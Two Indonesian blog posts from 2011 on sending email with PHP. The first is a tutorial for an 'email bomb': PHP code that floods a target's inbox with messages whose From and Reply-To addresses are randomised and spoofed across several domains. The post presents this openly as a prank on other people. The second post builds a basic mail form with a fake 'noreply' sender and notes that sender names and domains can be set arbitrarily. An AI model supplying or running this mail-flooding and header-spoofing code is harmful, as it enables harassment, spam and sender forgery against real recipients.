Mohon maaf, mungkin terdapat beberpa tulisan yang contohnya tidak ada dan tidak dapat didownload bahkan sudah tidak dapat diterapkan. Hal ini dikarenakan tulisan tersebut dibuat babaerapa tahun lalu (jadul).

10 July 2011

Bomb Email dangan Menggunakan PHP

Administrator 10 July 2011 1
Bomb Email dangan Menggunakan PHP
Setelah menulis artikel Mengirimkan Email dengan PHP Buatan Sendiri, terbesit dalam pikiran untuk melakukan keisengan. Keisengan tersebut adalah membuat bomb email. Maksud dari bomb email ini bukan seperti bomb buku atau bomb yang lain yang terdapat pada dunia nyata, melainkan menyerang email orang lain dengan cara mengirimkan email dengan jumlah banyak. Bisa juga sih disebut spam email. Kita tetap akan menggunakan script pada artikel sebelumnya, namun terdapat sedikit perubahan. Salah satunya, kita tidak hanya mengirim menggunakan satu nama user dan satu domain, melainkan banyak user dan banyak domain cool boy

Ok, sebelum kita mulai, maka sebaiknya anda mendownload dulu file kirim email disini agar lebih memudahkan dalam pembuatan bomb email ini. Setelah anda berhasil mendownload file tersebut, maka yang harus kita perhatikan hanya 2 buah file. Yang pertama adalah file index.php dan file lainya adalah captcha.php yang terdapat pada folder captcha. Pertama-tama kita akan ubah file index.php terlebih dahulu. Di dalam file index.php ini, hanya terdapat form, dan kita hanya menambah sebuah text field, yakni Domain email pengirim. Text field ini berfungsi untuk membuat nama domain pengirim (ex: ...@nama.com). Tambahkan script berikut ini untuk memudahkan.
<tr>
<td valign="top">Domain email pengirim</td>
<td valign="top">:</td>
<td>nama_acak@<input type="text" name="dom"/>.com/.us/.net<br>akan dikirim sebagai .com/.us/.net (total ada 3)</td>
</tr>

Jika sudah, sekarang kita beralih ke file captcha.php yang terletak pada folder captcha. Buka file tersebut lalu ubah dan tambah beberapa script.
  • Cari potongan script berikut ini dan letakkan pada baris pertama setelah script "<?php" file tersebut.
    session_start();
  • Setelah itu, letakkan potongan script berikut dibawah script sebelumnya.
    $dom=$_POST['dom'];
    $domain = array('com', 'net', 'us');
    $dom=$_POST['dom']; berfungsi untuk memanggil value yang telah diisi pada form.
    $domain = array('com', 'net', 'us'); berfungsi membuat top-level domain yang dibuat array, pada kasus ini, top-level yang dipakai yakni com,net dan us.
  • Selanjutnya, cari potongan script berikut ini.
    if(isset($_POST['sendto'])&&isset($_POST['subject'])&&isset($_POST['isi']) ){
    dan
    }
    echo "Your Message Has Been Send";
    lalu hapus potongan script yang ada diantara kedua potongan script di atas. Setelah dihapus, ganti dengan script berikut.
    foreach ($domain as $color) {

    $k=rand();
    $subject = explode("|",$_POST['subject']);
    $jml = count($subject);
    $rand_keys = array_rand($subject,$jml);
    $y=rand(0, $jml-1);
    if($x!=$y){
    $x=$y;
    }
    else{
    $x=rand(0, $jml-1);
    }

    $hasil=$subject[$rand_keys[$x]];
    $to = $_POST['sendto'];
    $subject = $hasil;
    $message = $_POST['isi'];
    $headers = 'From: '."$k@$dom.$color \r\n" .
    'Reply-To: '. "$k@$dom.$color \r\n" .
    'X-Mailer: PHP/' . phpversion();

    $mail_sent = @mail( $to, $subject, $message, $headers );
    }

    //Dikarenak penjelasan cukup panjang pada script di atas, maka jika ada yang ditanyakan silahkan melalui komentar artikel ini.
Mudah bukan? Sekarang giliran anda mencoba. Semoga berhasil.

DEMO.

09 July 2011

Mengirimkan Email dengan PHP Buatan Sendiri

Administrator 09 July 2011 0
Mengirimkan Email dengan PHP Buatan Sendiri
Apakah anda pernah mendapatkan suatu email dari "noreply"@nama_domain atau sejenisnya? Apakah anda tau kenapa namanya "noreply"@nama_domain (jangan balas)? Ya, hal itu merupakan salah satu bentuk informasi, bahwa email tersebut jangan dibalas ke alamat "noreply" tersebut. Kenapa demikian? Karena alamat tersebut merupakan alamat fiktif, jadi bagaimanapun dan sebanyak apapun anda menuliskan email ke alamat tersebut, hal itu sia-sia karena tidak akan terbaca oleh pemilik domain tersebut.

Misalkan saja kita berkunjung ke sebuah forum, kebetulan anda lupa password, dengan adanya fasilitas forgot password tentu saja password anda akan diubah secara otomatis oleh sistem dan perubahan tersebut umumnya diberitahukan melalui email dan biasanya alamat pengiriman email tersebut adalah "noreply". Dengan demikian, email tersebut fiktif karena hanya digunakan oleh sistem untuk me-reset password. Ok, sedikit penjelasan dari saya yang tamah membingungkan ini, lalu kita akan beranjak bagaimana cara membuat halaman kirim email tersebut."

Nah, pada kasus kali ini, kita menggunakan form untuk mengirimkan email tersebut. Dalam form ini terdapat 2 buah textfield dan sebuah textarea. Textfield yang pertama adalah "tujuan", yang fungsinya untuk menuliskan tujuan email. Sedangkan textfield yang kedua adalah "subjek", yang fungsinya untuk menuliskan subjek email yang akan dikirimkan. Dan textarea isi berfungsi unutk menuliskan isi dari email yang akan dikirimkan. Untuk lebih jelasnya, lihat script berikut ini.
<table>
<tr><form method="post" name="email" id="myForm">
<td width="30%">Tujuan</td>
<td>:</td>
<td><input type="text" name="sendto" width="32" /></td>

</tr>
<tr>
<td>Subjek</td>
<td>:</td>
<td><input type="text" name="subject" width="32" /></td>
</tr>
<tr>
<td valign="top">Isi</td>

<td valign="top">:</td>
<td><textarea name="isi" cols="32" rows="5"></textarea></td>
</tr>
<tr>
<td></td><td></td>
<td><div class="ajax-fc-container">You must enable javascript to see captcha here!</div></td>
</tr>

<tr>
<td></td><td></td>
<td><input type="submit" name="send" value="Kirim" /></td>
</form>
</tr>
</table>

Copy atau salin script diatas kedalam sebuah file php dan beri nama, misalkan, index dengan extensi PHP. Setelah selesai, jangan tutup file tersebut, lalu copy atau salin script berikut ini dan letakkan dibagian bawah script form yang telah dibuat sebelumnya.
<?php
if(isset($_POST['sendto'])&&isset($_POST['subject'])&&isset($_POST['isi']) ){

$to = $_POST['sendto'];
$subject = $_POST['subject'];
$message = $_POST['isi'];
$headers = 'From: noreply/janganbalas@xinthinx.us'."\r\n" .
'Reply-To: noreply/janganbalas@xinthinx.us'."\r\n".
'X-Mailer: PHP/'.phpversion();

$mail_sent = @mail( $to, $subject, $message, $headers );

echo "Your Message Has Been Send";
}
else{
echo "Lengkapi semua form";
}

?>
  • Pada warna biru berfungsi untuk mengecek, apakah semua form sudah terisi.
  • Pada warna coklat berfungsi untuk mengambil data yang sudah diisi dari form awal.
  • Pada warna merah berfungsi sebagai pengirim email yang nantinya terlihat pada inbox tujuan kirim email. Usahakan agar pengirim email sama, nama pengirim serta nama domain terkadang bisa sembarangan lho
  • Pada warna ??? berfungsi untuk proses pengiriman email.
  • Jika dalam form ada yang belum terisi, maka akan muncul tulisan "Lengkapi semua form" dibawah form. Jika sudah terisi semua, maka akan muncul tulisan "Your Message Has Been Send".
Jika semua script diatas telah disalin dan dibuat, langkah terakhir adalah mneg-upload file tersebut pada server hosting. Dalam contoh kali ini, saya menggunakan hosting berbayar. Dan ketika saya mencoba pada salah satu hosting yang gratisan, ternyata fungsi pengiriman email tersebut tidak brajalan owh... Sekarang giliran anda untuk mencobanya bagooos

Untuk demo, anda bisa melihat link ini http://xinthinx.us/demo/email/
Dan untuk mendapatkan script sesuai halaman demo tersebut (dengan captcha), dapat mendownload melalui images dibawah ini.
download